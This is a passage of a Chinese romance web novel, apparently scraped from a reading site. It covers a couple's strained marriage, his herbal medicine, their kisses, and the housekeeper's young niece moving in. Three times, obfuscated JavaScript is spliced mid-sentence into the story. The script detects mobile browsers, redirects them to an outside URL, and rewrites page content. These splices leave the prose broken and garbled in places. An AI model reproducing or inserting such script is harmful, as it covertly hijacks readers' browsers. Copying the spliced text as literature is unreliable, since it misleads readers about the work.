运营部经理欲言又止:“赵总,那个——” 赵叙平:“赶紧的,别磨叽。” 眼前忽然多了张纸巾,赵叙平扭头看向给他递纸的秘书。 秘书一脸关心:“赵总,您……流鼻血了。” 赵叙平抬手抹鼻子,掌心红一片,愣了愣,接过纸巾捂住鼻子,起身:“接着开,我等会儿回来。” 学生时代打架挂彩是家常便饭,流鼻血也不稀奇,赵叙平淡定地去洗手间清洗。 这回不知怎么,好一会儿才止住血,赵叙平纳闷,暗自琢磨原因。 天气炎热干燥,感冒寒包火,昨晚又被周静烟狠狠刺激了……赵叙平认为是各种因素叠加导致自己流鼻血,没把这事儿放心上。 会议结束后,他又让助理去买了两杯降火凉茶,喝完感慨:难怪广城人爱喝这玩意儿,降火确实厉害。 各部门员工陆续结束加班,人走得七七八八,赵叙平干完活,待在办公室没走。 他不知道自己该去哪儿。 回父母那,压抑;回以前独居的住处,孤单;回和周静烟的家,心情复杂。 那里算家吗?周静烟把它当做家吗?他不禁想。 似乎回哪里都不舒服。 晚上十一点,周静烟发来今天的第二条短信,问他是不是确定今晚不回来。 他握着手机,打出一行字,隔了二十分钟才发过去:【想我回来么?】 周静烟回得很快:【你想回来么?】 赵叙平:【想我了?】 这次没有立即收到回复,赵叙平想象得出她在那头红着脸的样子。 几分钟后,手机震了震。 周静烟:【想你。】 赵叙平笑了:【多想?】 周静烟又隔了一会儿才回:【你不想我?】 他下意识打出一个“想”,反应过来,暗骂自己这两天喝药喝傻了,迅速删掉这个字,放下手机默默坐着,什么也没干,就这么坐了十分钟才下楼。 上车后,赵叙平吩咐司机往家开。 到家已经凌晨十二点半,玄关亮着灯,客厅也亮着灯。 周静烟正坐在客厅沙发上低头缝东西,见他进门,放下针线起身快步走过去,笑盈盈:“还以为你不回来呢!” 他心里涌起别样滋味,面上跟往常一样冷,看着她不作声。 今晚周静烟殷勤得不像话,从他手里接过公文包,柔声说:“我做了晚饭,想等你回来吃,总也等不到……明天回家吃饭好不好?” 她眼睛圆圆的,亮亮的,睁大了看他,小兔子一样,特可爱。 赵叙平目光从她脸上挪开,径直走到电梯口,电梯门打开,腿却没往里迈。 “晚饭还有剩的么?”他扭过头,问。 “你在外头没吃呀?”周静烟一愣,赶忙点头,“有,我去给你热热。” 芳姐已经睡了,夜深人静,家里静悄悄的,仿佛只有他们两个。 赵叙平坐在饭厅等着,周静烟进厨房弄饭菜,很快热好端出来,站一旁指着盘子挨个介绍。 “这道红烧狮子头是跟芳姐学的,这是芳姐的拿手好菜,她把秘方都传授给我了呢!这道醋溜排骨,我很小就会做了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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电梯门还未合上,她的唇便被男人堵住。 赵叙平长了双漂亮的薄唇。每次被他吻,她都觉得像是在做梦。 他在电梯里吻她,一边吻她,一边解衬衫纽扣。 电梯停在二楼,门开了关,关了开,里面的人总也不出来。 周静烟有些喘不上气:“先回房间,好不好?” 赵叙平搂着她往外退,穿过走廊时,又要吻她。 周静烟想起沈琳说的,这关头提条件也好使,别过脸躲开薄唇,娇声问:“以后多回家,好不好?” “好。” “晚上要陪我睡,好不好?” “好。” “少抽烟,少喝酒,好不好?” “好。” “明天继续喝药,先喝一个疗程,好不好?” “……” “好不好嘛!” 片刻过后,男人认命般轻声叹息:“好。” 13.第 13 章 赵叙平压根不想再喝那劳什子药,可他想吻周静烟。 他把这种本能的冲动归咎于疲惫导致的不清醒。 人在头脑发昏时,总会做些看起来不太正常,也不太聪明的事儿。 这当口周静烟就是要天生的星星,他也答应给摘。先答应了再说,谁叫她那双唇太可口? 他拥着她进主卧,关了门,没开灯,在漆黑中吻得忘乎所以。 这个绵长的吻被咳嗽打断。感冒让赵叙平嗓子干痒,他别过脸,手握成拳拢在嘴边渴了几声,松开另一只搂在周静烟腰间的手。 “早点休息。”赵叙平哑着嗓子说完便走。 周静烟愣在黑暗里,过了一小会儿才开灯,四处环顾,茫然走到床边坐下,抱着胳膊低头叹息。 “亲一亲就咳嗽,身体居然这么虚……”周静烟自言自语,不知这人中途停止只是因为怕传染她,对他既担心,又惋惜。 这晚家里除了芳姐,谁都没睡好。 连着两回情到浓时被迫中断,周静烟不好受,赵叙平更是不好受。 周静烟只是睡不好,赵叙平根本睡不着。 作为一个正值壮年的正常男人,本就血气方刚,他需索比普通人还旺,这些年靠着强大意志力忍过来,想想周静烟,自己弄一弄,也能熬得住。 可自打周静烟开始勾他,情况就越发难控制。 赵叙平这才领教到这女人的厉害。 失眠两个晚上,又感冒咳嗽,赵叙平扛不住了,到公司就吃药,药里含安眠成分,吃完倒沙发上昏睡。 不用上班的好处是可以睡到自然醒,周静烟十点半才起床,芳姐给她热了早饭,坐旁边笑眯眯陪她。 “干嘛老看着我笑?”周静烟吃一半,停下筷子问芳姐。 芳姐心想:周小姐没有睡懒觉的习惯,头一回日上三竿才起,赵先生虽然起得早,可眼圈泛着青黑,瞧那样肯定没休息好,昨晚俩人怕是累着了。 这话哪好意思明说,芳姐笑而不答,拐弯抹角劝道:“吃完您再回房睡会儿吧,年轻人,还是要多注意休息。” 周静烟点头,揉了揉腰:“嗯,昨晚真是……哎,后半夜才睡。”前半夜净在床上翻身,跟摊煎饼似的,左翻右翻,怎么都睡不着。 芳姐偷笑,眉毛挑得老高,心说自己看面相果然准,赵先生那模样,指定有过人之处,厉害着呢。 “那您白天可得多补补觉。”芳姐说道。 “也不能睡太久,下午四点还得跑一趟。” “上哪儿去?” “去他公司。” “昨天不是去过了么?” “今天也得去,明天还得去……真是难伺候。” 芳姐听得心突突跳,暗自感慨:夜里整就算了,白天也整,身体吃得消么! “那、那您可得多加小心,注意安全啊……” “好的,谢谢,我会的。” 俩人各在各的频道,你一句我一句,话倒是对上了,却都没理解对方真正的意思。 早饭吃得晚,周静烟吃不下午饭,回楼上补觉到两点半,起床熬药,见芳姐愁眉不展,问她怎么了,她支支吾吾的,再一追问,才得知她家里出了事。 “我爸妈都在老家,我爸前些年中风瘫痪,我妈没文化,身体也不好,干不了多少活,全家上下都靠我养着,除了顾我自己小家,还得顾娘家。 “我亲妹妹生完孩子没多久,得重病去世,妹夫撇下孩子跑了,再也联系不上,孩子就由我妈带,养孩子的钱由我出。 “别看我在京州做保姆工资不低,可我老公不争气,只能做苦力,赚不了几个钱,我是自己一家四口的经济支柱,又得供养娘家三口人,父母身体不好,每个月医药费也不少…… “好不容易把妹妹孩子拉扯到三岁,我妈忽然病倒,怕我担心,之前没跟我说,今天医生告诉她,这个病来京州治最好,她才打电话给我……” 讲到这,芳姐已经泣不成声。 周静烟听得心酸,也跟着泪目,轻拍芳姐后背安抚,柔声问:“是不是经济上有困难?需要多少钱?我手里有点儿钱,可以借给你。” 芳姐忙摇头:“不用不用!周小姐,谢谢您。钱我们咬咬牙能挤出来,实在不行我就找赵先生求情,麻烦他通融一下,提前预支几个月薪水给我。钱不算是麻烦事,麻烦的是我小侄女……” 周静烟:“小侄女怎么了?” 芳姐:“我妈病倒后,小侄女没人带,就算送去幼儿园也没人接送。我已经给我妈买好来京州的票了,让她带着小侄女一起来,我给她请护工,再给小侄女找个附近的幼儿园上。” 周静烟:“只能这样了,那到时候白天谁接送小侄女,晚上谁带她?” 芳姐:“我老公和两个孩子都在老家省会,老公得干活,儿子读初中,女儿读小学,谁也走不开,所以我正愁小侄女没人带呢!” 确实是件难事,周静烟也替她发愁,问:“要不你租间房子,再请个保姆接送照顾小侄女?” 芳姐低下头:“京州租房不便宜,保姆也不便宜,我实在不想管别人借钱……” 周静烟忽然有了主意:“干脆你把小侄女接回来!” 芳姐一愣,没听明白:“接回来?” 周静烟:“对,接我们这儿来。” 芳姐飞快摆手:“那怎么行!我只是保姆,怎么能把孩子往雇主家带?” 周静烟笑笑:“没关系啦,人都有难处,你平时尽心尽力照顾我们,现在你遇到困难,我也不忍心袖手旁观。” 芳姐仍是不敢:“可……可小孩子很淘的,年纪小什么也不懂,讨人嫌,我怕影响你们呀!” 周静烟:“小姑娘能有多淘?就是因为小,什么都不懂,才好管呢,大人怎么教,她就怎么学。” 见芳姐犹犹豫豫,周静烟继续劝:“家里这么大,顶楼都没人住。平时就咱俩在家,太冷清了,多个孩子还热闹些。 “再说了,每周都有家政阿姨定期过来打扫卫生两次,你只用买买菜做做饭,简单搞搞清洁,等孩子过来,既能照顾她,也不耽误照顾我们,两全其美呀!” 芳姐红着眼眶开口:“周小姐,您心肠真好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778949|174675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 周静烟笑道:“我是苦过来的,难得有人善待我,我也希望回报善待我的人。” “您这么好的人,当然值得被善待!只是……”芳姐抹抹泪,摇头,“算了吧,我找找便宜出租房,再请个便宜的保姆。” 周静烟蹙眉:“京州便宜房子能租到,便宜保姆可不好找,就算找得到,请来照顾孩子,你放心得下?孩子才三岁,话都说不明白,要是被欺负被虐待可怎么办?” 她握住芳姐的手。 “听我的,把孩子接过来。我又不上班,成天闲着也没劲,有个孩子陪伴,肯定更开心呢。” 芳姐被她说动,满眼感激,含泪点了点头:“太感谢您了,周小姐……这事儿您还是先跟赵先生商量一下吧,要是赵先生同意,我就把安安接过来。” 周静烟思忖片刻,说:“不用跟他商量,到时候直接接过来。” 芳姐立马摇头:“这可不行!赵先生会生气的!万一他一气之下把我开了,岂不是——” “放心,他不会。” “他……真不会?” “不会。” 回想起昨晚那些画面,周静烟越发笃定。 因为赵叙平内心并非完全不可撼动。她发现这人很喜欢吻她,那方面虽然不行,可不妨碍他钟爱亲亲。 既然这么喜欢亲,以后就让他亲个够。沈琳说得对,男人受不了枕边风,昨儿不是她说一句,他便应一句? 反正他平常大部分时间不在家,白天见不着孩子,晚上各自回屋睡觉,谁也影响不了谁。 孩子接过来,他要是不高兴,她就撒撒娇,求一求,哄一哄,任由他想怎么亲就怎么亲,这事儿八成妥了。 周静烟让芳姐放心,先这么说定。 聊完,厨房药已经熬好,周静烟刚把药汤倒进保温饭盒,芳姐递来手机:“周小姐,赵先生找您。” 周静烟赶忙接电话。 “你等会儿不会还要过来送药吧?”赵叙平仰面靠着皮椅,一个鼻孔塞进揉成小团的纸巾堵鼻血,闷声问道。 周静烟:“正准备出发呢,怎么了?” 赵叙平:“网上叫个跑腿送就行,顺道把剩下的药包一起送过来,我每天让助理煮。” 周静烟:“那你要喝哦,不许偷偷倒掉。” 赵叙平冷淡“嗯”一声便挂断。 下午五点半,跑腿将保温饭盒和一大袋子药送进赵叙平办公室,东西还没放下,就见他递来五百块现金。 “把这些全都送过去。”赵叙平又递给跑腿一张便笺,上面写着一个地址,一串手机号。 跑腿乐呵呵接过钱和便签,拎着东西赶往下一个目的地。 傍晚七点,赵叙平收到来自父亲的微信消息。 赵天成:【送药干嘛?】 赵叙平:【这药不仅能护肝排毒,还能润肺生津。您平时又抽烟又喝酒,多伤身体啊,必须好好调理。】 赵天成没再回复,只是默默仰头,望着天花板,感动得想哭。 孩子终于长大了,懂事儿了。孝啊,太孝了。 14.第 14 章 赵叙平知道周静烟逼他喝药是好心,可他不敢再领这个情。 总不能天天流鼻血吧?昨天开会流一次,今天开会又流一次,秘书都劝他尽早去医院检查身体。 他估摸着这药太补,而自己血热火旺,补大发了,鼻血流起来难止住。 以前身体样样都行,体检各项指标正常,完全没必要调理,可昨晚既然答应周静烟会喝药,总得给她个交代,他想了想,不如偷摸把药送去给父亲喝,既能孝敬老子,还能应付老婆,可谓一举两得。 不知是不是心理作用,没喝药赵叙平感觉舒服多了,不热也不躁,空调从十六度调回二十四度。 加班到晚上九点,赵叙平疲惫地坐进车后座,侧头轻揉太阳穴,听见司机问今天回哪儿。 “回家。”他说。周静烟发起嗲来他是真没招,让他多回家,他答应了就会回,回去还得陪她睡。 结了婚,家就不再是原来独居那个住处,司机知道的,把车往别墅婚房开。 到家后赵叙平找出药箱,从里面取出口罩戴好才上楼。 主卧门缝里透出灯光,看样子周静烟还没睡,应该在等他。 他心里头有那么点儿高兴,又不承认,瞧不上她做小伏低那样儿,打心底里偏又喜欢死了,开门那一瞬,心情都是雀跃的。 周静烟正坐在梳妆台前敷面膜,扭头望过来,愣住:“干嘛戴口罩?” 他冷冰冰不作声,扯下领带,从衣柜里找出一套家居服,边解衬衫扣子边走进浴室,过了会儿从里面出来,洗干净的头发吹得蓬松,清清爽爽,高挑英俊,跟漫画男主角似的。 周静烟看得脸红心跳,却又不解:“都洗完澡了,怎么还戴口罩?” 赵叙平掀开被子上床,靠床头看手机。 她走过去,在他身旁床沿边坐下,小声问:“我、我嘴里也没味儿啊!” 赵叙平一愣,目光从屏幕上移开,抬头看着她。 “谁说你嘴有味儿?”赵叙平心想:你嘴香香的。 周静烟撇了撇嘴,满脸委屈:“那你干嘛在我面前戴口罩?” 赵叙平收回目光,垂眸继续看手机:“我感冒了。” 周静烟反应过来:“怕传染我?” 赵叙平:“嗯。” 她想起昨晚他确实咳嗽了,转念又想,别是躲着她,怕跟她发生点儿啥,故意装病吧? 她揭开脸上面膜扔掉,去浴室冲了把脸,抹了点护肤品回来,上床坐他身边,伸手想替他摘口罩,被他躲开。 “摘了吧,戴着这个呼吸不畅,睡不好的。”她劝道。 赵叙平眼睛盯着屏幕不动弹。 她劝不动,轻轻叹息,凑过去:“看什么呢?这么专心。” 隔着口罩赵叙平都闻见一股香气,转眼瞧向这张离他很近的俏脸,暗自嘀咕:怎么嘴香香的,脸香香的,身上也香香的? 周静烟哪知道他心里净想这些,看着满屏幕英文,许多单词她都不认识,好奇问:“这什么呀?” 赵叙平:“财经新闻。” 周静烟:“哇,好厉害,居然看得懂这个!” 赵叙平噗嗤笑出声。 他这么一笑,她有些不好意思,摸摸脑袋,别过脸:“本来就是嘛,比我厉害多了,我英语都快忘光了……” 赵叙平不笑了。他想起她打小成绩就一般,家里不仅不重视,反而故意耽误她学习。 其实她能健康长大,靠自己读完大学,还把弟弟拉扯大,已经很不容易。 赵叙平目光停在她脸上许久,她感受到自己被盯着,扭头对上这道目光,闷闷地问:“我这么差劲,你是不是特瞧不起?” 赵叙平想说:其实你很了不起。他说不出这话,只是摇了摇头。 周静烟眨眨眼:“你平时只爱看财经新闻吗?” 赵叙平:“什么都看点儿。” 周静烟:“还喜欢看什么?” 赵叙平正要开口,忽然发现自己不知不觉跟着她的步调在走,立马止住,反问道:“你喜欢看什么?” 周静烟歪起脑袋想了想:“说出来有点儿不好意思……” 赵叙平:“说呗。” 周静烟仰起脸,唇凑到他耳边,小声开口:“洗地毯,我觉得看这个特解压。” 她几乎是用气声说,暖暖的气呵到他耳廓上,弄得他有些痒,有些酥,还有些麻。 她看见他耳朵倏地红透,刹那间,木头似的她忽然开窍,翻身猝不及防跨到他身上。 上回这样,他还是躺着,这回他坐着,俩人面对面,她瞧着这双漂亮眸子,大胆迎上震惊目光,抬手摘掉口罩,捧起他脸颊,吻上薄唇。 这个吻来得太突然,赵叙平刚从震惊中回神,正要反攻变被动为主动,喉咙又开始痒,猛地推开她,不住咳嗽。 周静烟愣了片刻,下床倒了杯温水送过来:“怎么回事啊?” 赵叙平接过杯子,仰头喝完水,嗓子舒服许多,没那么想咳了,说:“感冒有点儿严重。” “真的——”只是感冒吗?别是身体太虚,得了什么大病吧……周静烟满面愁容。 见她苦着脸唉声叹气,赵叙平淡淡强调:“感冒死不了。” 他哪知道周静烟心里想什么,只当她是小题大做,没细琢磨,起身往外走。 周静烟赶紧问:“你干嘛去?” 他脚步没停:“找点儿药。” 下楼吃完药,赵叙平没回主卧,去了客房睡。他怕今晚止不住咳,影响周静烟休息。躺下后觉着不对劲,心想:她休息得好不好,干他什么事? 赵叙平猛然起身,掀开被子准备下床回主卧,脚还没碰着地,又收回去,想想还是算了,前阵子她脸煞白,一看就是睡不好,最近面色比以往红润,好看多了。 她睡好吃好,面若桃花身子有肉,他瞧着也舒服。赵叙平这么一想,躺回去闭眼安心睡觉。 以往早上都是他先起,出门前从不见她下楼,这回他下楼就见她端着碗从厨房出来,笑脸盈盈看向他。 “芳姐说你每天差不多这个时候起床,我定了闹钟,以后天天给你做早餐。” 赵叙平走到餐桌前,拉开椅子坐下,从头到脚打量她。 最近怎么……殷勤得有些可疑? 周静烟反应是慢,可她准备得充分,知道赵叙平会起疑心,早想好怎么应对。 “我最近陆续从你卡里转出来不少钱。没上班靠你养着就算了,还拿你这么多钱,感觉挺不好意思的,也不知道该怎么报答,就想着生活上多照顾你一下。” 她递过去一碗阳春面。 赵叙平拿起筷子尝尝,这面清淡却有滋有味,很合他胃口。 吃了几口面,他淡淡瞧她一眼:“有芳姐照顾就行,你——” 见他迟迟不往下说,周静烟歪起脑袋:“嗯?” 赵叙平原本想说,你照顾好自己得了,又觉着这话不妥,似乎太惯着她,便改口道:“你这面煮得还成。” 周静烟眼睛一亮,笑逐颜开:“真的?我也觉得好吃,味道清淡,汤水鲜香,面条弹牙!芳姐教我煮的,看来以后我得多跟她学学。” 赵叙平停下筷子,目不转睛瞧着她。 她摸摸脸:“怎么啦?” 他没作声,目光也没挪开。 最近她眼里有光,面颊红润,精气神好多了,看着这张俏脸,听她软软糯糯说着话,赵叙平只觉舒坦,心想:这样子总好过原先那样,成日丧着脸,瞧着别提多压抑。 “你不吃?”他问。 周静烟笑着摇摇头:“太早了,我吃不下,前天跟芳姐学做无油发面饼,过会儿自己上手实践一下。” 赵叙平轻哼:“日子倒是滋润。” 她身子朝他倾了倾,俏脸凑过来:“因为有你做靠山呀!你在外面辛苦赚钱,我才能安心在家歇着。都说大环境越来越差,可是你公司发展越来越好,可想而知你付出了多少心血。” 马屁拍得这么顺溜,简直让赵叙平刮目相看。 “一套套的,沈琳还挺会教。”他冷笑。 周静烟不笑了,有点儿不高兴:“琳琳可没教我这个。掏心窝子跟你说这些,你当我在背台词。要是不喜欢听,以后再也不说了。” 这话半真半假。沈琳确实没这么教她,怎么拍马屁都是她自己悟的,不过她确实是在背台词,之前怕记不住,躲房间里偷摸对着镜子练了许多遍。 都说天道酬勤,勤能补拙,周静烟发现确实如此,自己嘴那么笨,背着他一遍遍练习,从磕磕巴巴到自然流畅,下了不少功夫,总算表现得还过得去。 周静烟暗中观察,见他神情没不耐烦,只是一脸淡漠,心知自己没惹他生厌,悄悄松了口气。 “今天也要记得喝药哦。”她提醒道。 赵叙平点头,心下想着,不知道老头子在家喝没喝,回头问问他喝了什么感觉。 吃完面,赵叙平喝了几口周静烟泡好的茶便准备去公司,换好鞋刚要开门,被她叫住。 “等会儿!”她小跑到玄关,停在他跟前,仰脸看着他,踮起脚尖,嘴唇轻轻在他脸颊印下一个吻。 芳姐小侄女很快到达京州,为了能让孩子住这儿,豁出去也行,全当积德行善了,周静烟想。 · 上了车赵叙平还有点儿晕,脸冲着窗外发愣,车开起来,外头不断倒退,越发晕得厉害。 他转过头,面向前方,闭眼靠着椅背,揉了揉眉心,总感觉哪里不对劲,具体却又说不清。 周静烟殷勤得不正常,人也不木了,开窍似的,勾起人来那股子劲儿没得说,临走前在他脸上蜻蜓点水啄那一口,搞得他到现在还迷糊,脑袋晕乎乎,嘴角压不住。 赵叙平怀疑她心里有鬼,可他没有证据。 她说得句句在理,漂亮的杏眼坦坦荡荡看着他,目光丝毫不躲避,怎么都不像心虚的样子。 要说纯粹是为了周知宇,他也不太信。 掏心掏肺对他好成那样儿,若真完全出自表演,恐怕背着他偷摸上了演技速成班。 忙了一早上,午休时赵叙平打电话给江东铭。 “东子,你说女人在什么情况下会真心诚意变得特主动,特殷勤?”他问。 江东铭笑起来:“怎么着,你媳妇儿对你特主动,特殷勤啊?” 赵叙平坦言:“她最近变了个人似的,不怕我,也不害臊,胆儿肥了不少。” 江东铭一听,来了兴趣:“怎么个不害臊法?” 赵叙平冷声骂道:“滚一边儿去。你就说说,到底为什么?” 江东铭无语至极:“你问我,我问谁去?我要这么懂女人,能单到二十七吗?你丫成心秀恩爱是吧!” “拉倒吧,秀什么恩爱。”赵叙平嗤之以鼻,唇边却不自觉泛起淡淡笑意。 他原本没这个意思,听江东铭这么一说,不知怎么,竟还有点儿爽到了。 江东铭最近日子过得不痛快,没好气建议道:“你问问梁卓呗,他多懂女人啊,前阵子又泡上个会所妹妹。” 赵叙平:“行。哥们儿,怎么了这是?” 江东铭:“别提了,不想说,闹心。” 赵叙平:“闹心啊?多喝热水。” 江东铭:“滚几把蛋。” 那头挂断电话,赵叙平乐呵呵又打给梁卓。 “卓啊,有空没?想问你个事儿。” “闲着呢,平哥您说。” “假如——我是说假如,假如一个女人,以前特不上道,忽然变得特上道,对你既主动又殷勤,什么原因?” “平哥,一般来说,这种情况代表钱给到位了。” 赵叙平点点头,心想确实如此,又问:“除了钱这方面,还有没有其他方面原因?比如,感情上发生变化?” 梁卓:“当然有了,女人再怎么口是心非,嘴能骗人,行动骗不了人,真要爱上谁,只想一个劲儿对他好。” 赵叙平心里豁然开朗,心情也松快了,笑着说:“懂了,谢谢啊。” 梁卓好奇:“平哥,您问这个干嘛?” 赵叙平:“没事儿,随便问问。” 作为情场老手,梁卓敏锐察觉到,平哥最近有情况。至于什么情况,他不敢直接问,只能旁敲侧击:“有朋友为情所困?” 赵叙平随口胡诌:“嗯,我看他最近挺愁,帮忙问问。” 梁卓知道这是无中生友,没戳破:“行,以后这方面问题尽管找我,哥们儿既是妇女之友,又是男性知音。” 赵叙平乐出声:“你丫够能耐啊!对了,我这阵忙,没时间玩儿,你们有空多陪陪东子,他最近好像心里有事儿。” 梁卓:“东哥咋了?” 赵叙平:“不知道,没准儿单身太久,内分泌失调。” 梁卓笑了:“平哥您不也单着么?” 赵叙平摸摸额头,清清嗓子:“咳,那什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786757|174675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我没事儿,我享受单身。” 果然人不能太得意,太得意就容易忘形——赵叙平内心敲响警钟。 “行吧,没别的事儿了。”他赶忙挂断。 · 下午三点,芳姐把安安接回别墅,周静烟看着她怀里小小的人儿,一眼就喜欢上。 “你是安安呀?”她笑着问。 安安来的路上一直听姨妈说,暂时要在帅叔叔和漂亮阿姨家里住一阵子,必须乖,必须听话,必须讨人喜欢。 安安从小没妈,小小年纪学会看人脸色,本想着到了别人家,卖力讨好叔叔阿姨,等见到周静烟,只觉得这阿姨果然漂亮,还温柔得很,简直像天上的仙女,压根忘了讨好人家这回事,本能地冲阿姨张开双臂。 周静烟一看安安要她抱,心都化了,赶忙从芳姐怀里接过孩子:“你妈妈安顿好了吧?” 芳姐点点头:“护工陪着在医院呢。哎哟,周小姐,没想到孩子这么喜欢您!” 三岁的安安比同龄人个头小,体重轻飘飘,抱起来一点都不费劲。周静烟看看这张面黄肌瘦的小脸蛋儿,又看看这细软发黄的头发,不禁想起儿时的自己,心里发酸,眼眶泛红。 “我是安安,漂亮阿姨,你叫什么名字?”小家伙在她怀里笑嘻嘻问。 周静烟捏捏她的脸:“小嘴儿真甜!我是烟烟阿姨。” “哇,”安安满眼崇拜,“烟烟阿姨名字真好听!” 周静烟噗嗤笑出声:“小马屁精!” 芳姐在一旁说道:“周小姐名字确实好听,我虽然没什么文化,可也觉着很有诗情画意呢。” 周静烟心里高兴,拿出准备好的零食水果给安安吃,安安馋得直咽口水,却不敢要,扭头看着姨妈。 芳姐冲她摇头:“安安乖,快谢谢阿姨,告诉阿姨咱们不饿,就不吃零食啦。” 安安小脸写满失望,摇摇头:“谢谢阿姨,我不吃……” 一边说,一边吸溜口水。 周静烟瞧着心疼又想笑,知道孩子怕芳姐不高兴,芳姐呢,又怕孩子没规矩,便说道:“芳姐,你去医院陪陪老人家,不是说要准备手术么?老人这种时候身体很不舒服,心里也很脆弱,你作为女儿,得在她身边陪着。” 芳姐忙摆手:“不用,真不用!这回请的护工很好,也很有经验,她陪着我妈,我很放心。您能收留孩子暂时住这儿,我们已经知足了,我得更努力照顾您和赵先生才是,哪能活儿都不干就跑去医院啊!” 周静烟:“你快去吧,这关头不必在意这些。我很喜欢安安,安安是个懂事孩子,带她一会儿也不费劲。家里不用打扫卫生,我只用做几顿饭就好,做饭的时候让安安自己玩。” 芳姐哪里敢走,一个劲摇头,她佯装生气:“阿姨要做的可不是普通手术,这种大手术,一定得有亲人陪着才行,说句不好听的,万一出了什么事儿,只怕你会后悔一辈子!” 芳姐母亲病得严重,听她这么说,心里越发忐忑。 周静烟知道芳姐担心什么:“你放心去陪阿姨,就当请假了,我给你批三天假。” 芳姐红着眼圈颤声问:“那,赵先生——” 周静烟:“他听我的。” 芳姐:“可——” 周静烟蹙眉推了推她:“哎呀你赶紧去吧!叙平这边我来说,保准不会让你扣工资,更不可能让你被开。” 劝了这么久,芳姐总算被说动,感激地冲她点头,嘱咐安安两句便抹着泪出门。 芳姐离开后,周静烟带着孩子去洗手,给她剥了根香蕉,又开了包小熊饼干。 “安安,你平时在家都做什么呀?”周静烟问。 孩子捧着饼干开心得蹦蹦跳跳:“陪外公看电视,还陪外婆做家务!” 听着孩子的南方口音,周静烟笑道:“阿姨的妈妈也是南方人,小时候,阿姨在南方的外公外婆家呆过几年呢。” 说起来,她不禁有些难过。母亲娘家比芳姐父母家富裕,可同为外公外婆,芳姐父母对安安肯定比母亲娘家对她好得多。 安安家里只是穷,可能从小没妈,难免比正常孩子早熟,会看脸色,习惯性讨好别人,不过周静烟看得出来,这孩子没被虐待过。 吃完零食水果,周静烟让孩子歇了会儿才陪她玩闹,俩人很快熟悉起来,安安撒丫子疯跑,她满屋追,自己也像个孩子似的,开心得不行。 玩出一身汗,周静烟洗完澡就给安安泡澡,给她洗得香香的,吹干头发,扎起两根可爱的小辫儿。 赵叙平下班回家,看见电梯里出来个孩子,蓦地愣住,看了孩子几秒,问正牵着她的周静烟:“哪来的小孩儿?” 周静烟没答,而是碰了碰安安,低头说:“安安,这是赵叔叔,快跟赵叔叔打招呼,小朋友要有礼貌。” 安安仰起小脑袋,乖乖开口:“赵叔叔好,我是安安。” 赵叙平一头雾水看着一大一小俩人走到自己跟前,眉头拧得老深。 周静烟松开手,让安安先自己去客厅玩儿。 “进来,我跟你细说。”她攥住赵叙平衬衫衣袖,拉着他往厨房走。 在厨房里听她说完来龙去脉,赵叙平眉头不展,满脸不悦。 “芳姐可以请假,但这孩子——” “我喜欢这孩子,你就让她留这儿陪我几天嘛!” “不行,周静烟,她不能住这儿。” 周静烟撇嘴:“那你让人家住哪儿?” 赵叙平:“正好我在第一人民医院附近有套房子,可以让她们暂住,芳姐请假这段时间,我再请个保姆。” 周静烟:“你打算把芳姐开了?” 赵叙平:“不是,以后她俩都留这儿也行。” 周静烟:“就算有房子,安安怎么办?我不放心别人单独带她,穷人家的小姑娘最容易被欺负了。” 赵叙平耸了耸肩,态度强硬:“甭管怎么着,这事儿没得商量。” 这些天来,周静烟胆子越大发,见撒娇没用,抓住他胳膊耍起无赖:“我自己在家太无聊,想有个孩子陪着,怎么就不行?不管,我就要安安住这儿。” 赵叙平气得发笑:“以前怎么不见你这么喜欢孩子?” 周静烟别过头,小声嘀咕:“一直都很喜欢孩子,只是你不知道罢了。” 她又转回脸来,演得很像那么回事儿,含羞带怨瞧他片刻,握住那只垂在西裤侧面的手,轻轻捏了捏:“都怪你,总躲着我……” 15.第 15 章 周静烟没把话挑明,意思却清清楚楚。 她杏眼微湿,幽幽望着他,目光里藏着诉不尽的委屈。 模样这般惹人怜爱,赵叙平默默瞧着,不知该说些什么。 见他淡漠如冰,毫无反应,周静烟索性往他怀里靠,半个身子挨着他,仰脸泪汪汪问:“有个孩子挺好的,你说是不是?” 赵叙平看不得她梨花带雨的样子,别过脸,摇头:“咱俩不可能要孩子。” 他妹妹被她弟弟害死,连同肚子里的孩子也没了,他怎么可能和她要孩子?血海深仇可以淡,却永远不能忘。 周静烟想不到这个层面,听了这话,愁得眉心紧蹙:他这顽疾,已经确定没法生小孩儿了?真要这么严重,剩下的药还是别喝了吧,反正喝了也没用……可是,万一有用呢?方子毕竟出自京州著名男科主治医师之手…… 纠结一番,周静烟决定死马当活马医,还是得督促他喝药。 “不要就不要吧,但是这次,先让安安在家里住一阵子嘛,求你了……”她微噘着嘴瞧他,含泪的眸子满是祈求。 没想到这人油盐不进,一脸淡漠,愣是不松口。 周静烟急得没招,踮脚凑到他耳边,气呼呼的:“不让安安住这儿,以后我就不让你亲!” 赵叙平一愣,笑了:“威胁我啊?” 